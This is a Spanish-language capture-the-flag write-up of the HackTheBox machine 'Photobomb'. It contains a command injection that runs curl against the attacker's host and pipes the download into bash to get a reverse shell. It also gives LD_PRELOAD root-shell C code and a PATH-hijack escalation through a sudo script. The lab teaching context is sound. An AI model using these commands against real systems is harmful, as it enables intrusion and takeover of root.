Photobomb - HackTheBox

elc4br4elc4br4
4 min read

🤖Máquina Linux de nivel Easy en la que encontraremos unas credenciales de acceso a un panel web de descarga de imágenes ocultas en archivo javascript, a través de burpsuite podremos obtener un reverse shell y escalaremos privilegios de 2 formas diferentes, a través del script cleanup.sh creando un falso binario y a través de LD_PRELOAD, creando el script en C.


Reconocimiento

Reconocimiento de Puertos🔍

Como siempre comenzamos lanzando Whichsystem para averiguar ante que sistema operativo nos enfrentamos, recordar que Whichsytem es una utilidad desarrollada en python por S4vitar que nos permite detectar el sistema operativo de una máquina por su TTL (Time To Live).

# Windows --> TTL 128
---------------------
# Linux --> TTL 64

Una vez sabemos que nos enfrentamos ante una máquina Linux procedo a enumerar los puertos existentes en la máquina.

Tenemos lo siguiente:

PuertoServicioVersión
22SSHOpenSSH 8.2p1
80HTTPnginx 1.18.0

Dominio photobomb.htb

Añado el dominio al archivo /etc/hosts.


Enumeración

Analizando la Web📌

Lanzo la utilidad Whatweb para identificar el sitio web, sus tecnologías web, versiones, sistemas CMS... etc

Nos arroja la información del servidor web, servicio, versión, título... etc
Así que ahora voy a acceder al mismo para ver que tenemos.

Parece una web dedicada a la venta de imágenes de alta calidad.

Además de eso nos dice que las credenciales se encuentran en mi paquete de bienvenida.

Y nos dice también que si tenemos algún problema con la impresora que contactemos con el número de soporte.

Si hacemos click sobre click here nos aparece un login, pero no tenemos credenciales.

Mirando el código fuente veo que hay un archivo javascript llamado photobomb.js.

Lo abro y encuentro unas credenciales.

pH0t0 : b0Mb!

Me autentico con las credenciales y funciona, accedo a la ruta /printer.

Dentro hay imágenes en diferentes resoluciones que podemos descargar.


Explotación

Burpsuite🔥

Se me ocurre abrir Burpsuite e interceptar la petición al hacer click en descargar la imagen.

Tenemos la petición con el nombre de la imagen, la extensión de la imagen y sus dimensiones.

Podría intentar introducir comandos para obtener una reverse shell, así que mando la petición al repeater.

Creo una reverse shell en bash en mi máquina atacante.

Lanzo un servidor de python3.

Y desde el Burpsuite inyecto el siguiente comando.

python3 -m http.server 8080
curl+http://10.10.15.17:8080/rev-bash.sh+|bash+

Ponemos netcat en escucha en el puerto 443 y hacemos click en send.

Y ya estamos dentro como el usuario Wizard y podemos leer la flag user.txt

La shell no es muy interactiva por lo que ejecuto los siguientes comandos para poder conectarme a través de ssh y terner una shell mejor.

Cambio el nombre de la clave publica a authorized_keys.

Me copio la clave privada a mi máquina atacante a un archivo (elc4br4.rsa)

Le asigno los permisos necesarios y me conecto por ssh con la clave rsa.

Ejecutamos estos comandos para tener la shell interactiva 100x100.

export TERM=xterm
export SHELL=bash

Y ya podemos escalar privilegios.


Escalada de Privilegios

Primeramente como siempre enumeramos para encontrar vectores de escalada y como siempre comienzo por sudo -l

Partiendo de aquí existen 2 formas de escalar privilegios.

Variable LD_PRELOAD👨‍💻

LD_Preload es la variable de entorno que lista las rutas de la librerías compartidas, al igual que /etc/ld.so.preload.

Para poder escalar debemos crear un script en C con el siguiente contenido.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
    void _init()
{
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/usr/bin/bash");
}

Una vez creado lo compilamos con el comando:

gcc -fPIC -shared -o escalada.so shell.c -nostartfiles

Y lo subimos la máquina víctima.

Una vez lo hemos subido lo ejecutamos.

chmod 777 escalada.so

sudo LD_PRELOAD=/tmp/escalada.so /opt/cleanup.sh


Script /opt/cleanup.sh👨‍💻

Si leemos el código del script veremos lo siguiente:

Si nos fijamos bien el binario find no especifica su ruta absoluta, por lo que podríamos escalar privilegios creando un binario find falso y añadiéndole una bash en su interior, posteriormente lo exportamos al PATH de forma que al ejecutar el script cleanup.sh como root se ejecutará nuestro binario falso con el contenido de su interior.

  1. Creamos el falso find

  2. Lo exportamos al PATH.

# Asiganos los permisos al binario falso
chmod 777 find
-----------------------------------------
# Exportamos el binario al path
sudo PATH=/tmp/:$PATH /opt/cleanup.sh

Y ya somos root!!!

0
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student